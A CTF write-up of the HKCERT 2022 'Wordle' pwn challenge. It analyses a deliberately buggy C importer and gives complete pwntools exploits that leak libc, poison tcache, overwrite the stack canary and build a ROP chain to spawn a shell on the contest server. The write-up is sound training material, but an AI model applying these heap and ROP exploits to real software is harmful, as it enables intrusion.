# HKCERT CTF 2022: Wordle writeup
## Overview
I didn't manage to solve this challenge during the ctf. However I was pretty close to getting the flag. I was told that my solution was not the intended one but I thought that it is still interesting to share my approach to the problem

## Source Code Analysis
The source code is quite large. However the vulnerabilities are basically contained within one function `importWords`.

void importWords() {
    Importer *importer = context.importer;
    char buf2[8];

    if (importer == NULL) {
        _abort("No importer instance found.");
    }

    while (1) {
        long int size;
        printf("\nSize of input: ");
        // arbitrary size
        scanf("%ld", &size);
        // negative integer not checked
        if (size > importer->wordBufferSize) {
            free(importer->wordBuffer);
            importer->wordBuffer = NULL;
        }
        importer->wordBufferSize = size;

        if (importer->wordBuffer == NULL) {
            importer->wordBuffer = (char *)malloc(importer->wordBufferSize);
        }

        printf("Input common separated %d-letter words, e.g. ", WORD_SIZE);
        for (int i = 0; i < WORD_SIZE; i++) putchar('a');
        putchar(',');
        for (int i = 0; i < WORD_SIZE - 1; i++) putchar('a');
        putchar('b');
        printf("\nImport word list: ");
        // null terminate at the end of buffer instead of readed length
        // WARN: potential leakage, not null term in the right p
        importer->wordBuffer[importer->wordBufferSize - 1] = '\0';

        putchar('\n');
        addWordsToList(importer->wordBuffer);

        printf("Continue? (Y/N)\n");
        // BUG!!!: unlimited stack buffer overflow
        scanf("%s", buf2);

        if (!(buf2[0] == 'Y' || buf2[0] == 'y')) {
            break;
        }
    }
}

Despite there being a very easy stack buffer overflow, there is a lack of address leak and canary leak for performing rop.

## Attack Ideas
The most important bug to take advantage at first is negative size. This allows us to modify any byte before the buffer to be a null byte. If the wordBufferSize is a negative number it will not read anything. However if we change the most significant byte of the size back to a null byte, the size would become a super large positive number which allow us to perform an arbitrary heap overflow. This is much more powerful than null byte writing as we have many option to overwrite as long as our buffer is positioned correctly.

When analyzing the code, I look for output function that I might be able to control. Since we can basically control the entire heap I first look at what chunks are on the heap that is interesting. After eliminating many possible target I had found a good target to leak address.

        printf("\nSorry, you used up all guesses. The answer is %s.\n\n",
               game->answer);

Although we are unable to control the pointer due to unknown heap address, we can control the content of the string by overwriting the entire string. Since c string are null terminated this would allow us to read as far as we can. To get a libc address at the end of our buffer, I've chosen to free a large chunk to get the chunk inside the unsorted bin so that the libc pointer will be stored inside it.

enter_wordlist()
num_words = 47
wordlist_add(0x6 * num_words, b"aaaaa," * num_words)
wordlist_cont()

wordlist_add(-5096, b"")
wordlist_cont()

payload = b"A" * 0x718
wordlist_add(len(payload) + 8, payload)
leave_wordlist()

while True:
    p.sendlineafter(b"Choice:", b"1")
    for i in range(5):
        p.sendlineafter(b"guess:", b"aaaab")
    p.recvuntil(b"The answer is ")
    ans = p.recvline()
    if len(ans) == 7: continue
    print(ans)
    libc_leak = u64(ans[-8:-2] + b"\0" * 2)
    libc.address = libc_leak - 0x7f4a3d9a1cc0 + 0x007f4a3d789000 - 4128
    success(f"{hex(libc.address)=}")
    break

Here, I first add some word into the word list. The word list will become too long that malloc will relocate it to use space from top chunk. The newly allocated words will be placed directly after our buffer so that it can be easily overwritten. The overwritten length will be connected to the now freed old word list pointer array which is in the unsorted bin. This will allow us to leak the fd pointer in the unsorted chunk if the random word chosen is among our words.

### The more complicated way
In the ctf, I went ahead and further leaked a heap pointer. I soon found out that it was not necessary at all as I have an arbitrary read in hand already without needing a heap address.
#### Arbitrary Read
The arbitrary read I found make use of the word list pointers array on the heap. The first step is to relocate our buffer again so that it is located right before the word list pointer array. I did this by filling out the gap on the heap by allocating small chunk which will be occupied by tcache.

for i in range(0x200, 0x400, 0x10):
    wordlist_add(i, f"{i}".encode())
    wordlist_cont()

size = 0x400
wordlist_add(size, f"aaaaa,".encode() * 8)

Then I relocate the word list pointer array simply by adding more entries. This way we can be reuse the same trick above and buffer overflow the pointers.

I made use of this to read pointers to the stack inside libc, then read the canary from the stack. Although I got this to work locally within a docker container, I was unable to reproduce the shell on the remote. The challenge author told me that I should look at the canary source. Indeed this approach works remotely after I used the canary source which is located above libc in this challenge.

#!/usr/bin/env python3
from pwn import *
context.terminal = ["tmux", "splitw", "-h"]
name = "./wordle_patched"
e = context.binary = ELF(name)
if args["REMOTE"]:
    p = remote("chal.hkcert22.pwnable.hk", 28134)
else:
    # p = remote("localhost", 1337)
    p = process(name)
    if args["GDB"]:
        gdb.attach(p, "memory watch &context 4\nc")

def enter_wordlist():
    p.sendlineafter(b"Choice:", b"2")

def wordlist_add(size: int, payload: bytes):
    p.sendlineafter(b"Size of input: ", f"{size}".encode())
    p.sendafter(b"Import word list: ", payload)

def wordlist_cont():
    p.sendlineafter(b"(Y/N)", b"Y")

def leave_wordlist():
    p.sendlineafter(b"(Y/N)", b"N")

libc = ELF("./libc.so.6")

# bin = 0x110
game_size = 0x108

# Buffer overflow to leak libc
enter_wordlist()
num_words = 47
wordlist_add(0x6 * num_words, b"aaaaa," * num_words)
wordlist_cont()

wordlist_add(-5096, b"")
wordlist_cont()

payload = b"A" * 0x718
wordlist_add(len(payload) + 8, payload)
leave_wordlist()

while True:
    p.sendlineafter(b"Choice:", b"1")
    for i in range(5):
        p.sendlineafter(b"guess:", b"aaaab")
    p.recvuntil(b"The answer is ")
    ans = p.recvline()
    if len(ans) == 7: continue
    print(ans)
    libc_leak = u64(ans[-8:-2] + b"\0" * 2)
    libc.address = libc_leak - 0x7f4a3d9a1cc0 + 0x007f4a3d789000 - 4128
    success(f"{hex(libc.address)=}")
    break

# Buffer overflow to leak heap
# enter_wordlist()
# wordlist_add(-5096, b"")
# wordlist_cont()
# payload = b"A" * (0x718 + 8 * 2) + p64(0x111)[:2] + b"X" * 6
# wordlist_add(len(payload) + 8, payload)
# 
# wordlist_cont()
# wordlist_add(10, b"x")
# wordlist_cont()
# wordlist_add(game_size, b"m" * 0x100)
# leave_wordlist()
# 
# while True:
#     p.sendlineafter(b"Choice:", b"1")
#     for i in range(5):
#         p.sendlineafter(b"guess:", b"aaaab")
#     p.recvuntil(b"The answer is ")
#     ans = p.recvline()
#     if len(ans) == 7: continue
#     print(ans)
#     heap_leak = u64(ans[-8:-2] + b"\0" * 2)
#     success(f"{hex(heap_leak)=}")
#     heap_guess = heap_leak - 0x1000 - (heap_leak & 0xfff)
#     info(f"(clear lower bit) {hex(heap_guess)=}")
#     break

# Repair the heap
enter_wordlist()
for i in range(0, -6, -1):
    wordlist_add(i, b"")
    wordlist_cont()

for i in range(0x200, 0x400, 0x10):
    wordlist_add(i, f"{i}".encode())
    wordlist_cont()

#ptr = libc.address + 0x21a530
ptr = libc.address + 0x21aa20

size = 0x400
wordlist_add(size, f"aaaaa,".encode() * 8)
leave_wordlist()

def arbitrary_read(ptr: int) -> bytes:
    enter_wordlist()
    wordlist_add(-0x1e9b8, b"")
    wordlist_cont()
    payload = flat({
        0x408: 0x49e1,
        0x410: [ptr] * 100
    })
    wordlist_add(len(payload), payload)
    leave_wordlist()
    while True:
        p.sendlineafter(b"Choice:", b"1")
        for i in range(5):
            p.sendlineafter(b"guess:", b"aaaab")
        p.recvuntil(b"The answer is ")
        ans = p.recvline()
        if len(ans) == 7: continue
        if ans[0] == ord('A'): continue
        return ans[:-2]

canary_raw = arbitrary_read(libc.address - 0x2897)
while len(canary_raw) < 7:
    canary = arbitrary_read(libc.address - 0x2897)
    warning(f"{canary_raw}")
success(f"{canary_raw=}")
stack_canary = u64(b"\0" + canary_raw[0:7])
success(f"{hex(stack_canary)=}")

pause()

rop_nop = libc.address + 0x22f51f
pop_rdi = libc.address + 0x22f51e
success(f"{hex(libc.address)=}")
rop = ROP(libc)
rop.call(rop.ret[0])
rop.call(libc.sym["system"], [next(libc.search(b"/bin/sh\0"))])
enter_wordlist()
wordlist_add(-0x1e9b8, b"")
#libc.address + 0x1d8698,
#libc.address + 0x54ae0
p.sendlineafter(b"(Y/N)", flat([
    stack_canary,
    stack_canary,
    stack_canary,
    rop.chain(),
]))

p.interactive()

### Easier way: Null byte writing
Since we do not need to leak stack address, we can further simplify the solution by using the null byte writing in the original code. When a pointer is supplied, malloc will fail with a null pointer and read will not do anything. However the null byte will still get written. This can be used to overwrite the canary source to zero directly which is much simpler.

## The intended way
While the above solution work great, it was actually not the intended solution. The intended solution would instead gain control to tcache, then main_arena, then write null byte to `_IO_2_1_stdout_` to leak libc address. It was pretty fun to figure out the details of the intended solution.

### Gain control of tcache
First, I found that the tcache consists of a chunk that is very close to tcache itself. My idea is to overwrite the tcache entry's lsb to null so that the pointer point inside tcache.

# take one chunk out of tcache
wordlist_add(0x1d8, b"a")
# change chunk size
wordlist_add(-6, b"")
# change lsb of tcache entry so that it point inside tcache
wordlist_add(-4927, b"")

Now the tcache of chunk size `0x1d0` will point inside tcache
### Gain control of main_arena
Since we have control of tcache but we do not know the address of libc, we can import libc address by using the unsorted bin. Here, unsorted bin address is actually too far away from the `_IO_2_1_stdout_` so we'll need large bin instead.

To do that, we make a fake chunk that appears to be really large and overwrite `importer->wordBuffer` lsb so that it point to the fake chunk.

# allocate to tcache, setup a fake chunk
wordlist_add(0x1d8, flat({
    0x78: 0x132f1,
    0xa0: 0,
    0xb0: b"\x80"
}))
# free the previous chunk, allocate large so the fake chunk goes into large bin
wordlist_add(0x100000, b"mmap")
# reduce length
wordlist_add(0x10, b"a")
# allocate to libc large bin
wordlist_add(0x408, b"a")

Here, the size is chosen so that the end of the chunk connect to another chunk since free will try to merge with the next chunk if it's also free.

After creating the fake chunk we allocate a large chunk. This has 2 effects:
1. a free is performed on the original buffer, this put our chunk into unsorted bin
2. malloc is performed, this conslidates the heap and our chunk will end up in large bin
Then we allocate using the large bin address stored inside tcache. Note that we need to increase the tcache bin count first before we do this step:

# increase tcache bin count at the beginning of the script
wordlist_add(0x408, b"a")

### Write null byte to `_IO_2_1_stdout_`
Now we overwrite the lowest 2 bytes of `_IO_2_1_stdout_.file._IO_write_base` and `_IO_2_1_stdout_.file._IO_read_end`. This will print libc information out and we now have the libc address.

# write null byte to _IO_2_1_stdout_
for offset in [0x342, 0x341, 0x332, 0x331]:
    p.sendline(f"{offset}".encode())
    pause()
    p.send(b"a")
    pause()
    p.sendline(b"Y")

leaks = p.clean()
print(len(leaks))
libc_leak = u64(leaks[-78:-70]) - 0x219aa0
success(f"{hex(libc_leak)=}")

libc.address = libc_leak
p.unrecv(b"Size of input: ")

### Overwrite canary and rop

# overwrite canary
for i in range(8):
    wordlist_add(-2215152-i, b"")

wordlist_add(-2215200, b"", False)

rop = ROP(libc)
rop.raw(rop.ret[0])
rop.call(libc.sym["system"], [next(libc.search(b"/bin/sh\0"))])
p.sendline(flat({
    0x8: 0,
    0x18: rop.chain()
}))

p.interactive()

Full script:

#!/usr/bin/env python3
from pwn import *
context.terminal = ["tmux", "splitw", "-h"]
name = "./wordle_patched"
e = context.binary = ELF(name)
if args["REMOTE"]:
    p = remote("chal.hkcert22.pwnable.hk", 28134)
else:
    p = process(name)
    if args["GDB"]:
        gdb.attach(p, "memory watch &context 4\nc")

def enter_wordlist():
    p.sendlineafter(b"Choice:", b"2")

def wordlist_add(size: int, payload: bytes, cont: bool = True):
    p.sendlineafter(b"Size of input: ", f"{size}".encode())
    p.sendafter(b"Import word list: ", payload)
    if cont: wordlist_cont()

def wordlist_cont():
    p.sendlineafter(b"(Y/N)", b"Y")

def leave_wordlist():
    p.sendlineafter(b"(Y/N)", b"N")

libc = ELF("./libc.so.6")

enter_wordlist()

# increase tcache bin count
wordlist_add(0x408, b"a")
# reduce length
wordlist_add(0x10, b"a")

# take one chunk out of tcache
wordlist_add(0x1d8, b"a")
# change chunk size
wordlist_add(-6, b"")
# change lsb of tcache entry so that it point inside tcache
wordlist_add(-4927, b"")

# allocate to tcache, setup a fake chunk
wordlist_add(0x1d8, flat({
    0x78: 0x132f1,
    0xa0: 0,
    0xb0: b"\x80"
}))
# free the previous chunk, allocate large so the fake chunk goes into large bin
wordlist_add(0x100000, b"mmap")
# reduce length
wordlist_add(0x10, b"a")
# allocate to libc large bin
wordlist_add(0x408, b"a")

# write null byte to _IO_2_1_stdout_
for offset in [0x342, 0x341, 0x332, 0x331]:
    p.sendline(f"{offset}".encode())
    pause()
    p.send(b"a")
    pause()
    p.sendline(b"Y")

leaks = p.clean()
print(len(leaks))
libc_leak = u64(leaks[-78:-70]) - 0x219aa0
success(f"{hex(libc_leak)=}")

libc.address = libc_leak
p.unrecv(b"Size of input: ")

# overwrite canary
for i in range(8):
    wordlist_add(-2215152-i, b"")

wordlist_add(-2215200, b"", False)

rop = ROP(libc)
rop.raw(rop.ret[0])
rop.call(libc.sym["system"], [next(libc.search(b"/bin/sh\0"))])
p.sendline(flat({
    0x8: 0,
    0x18: rop.chain()
}))

p.interactive()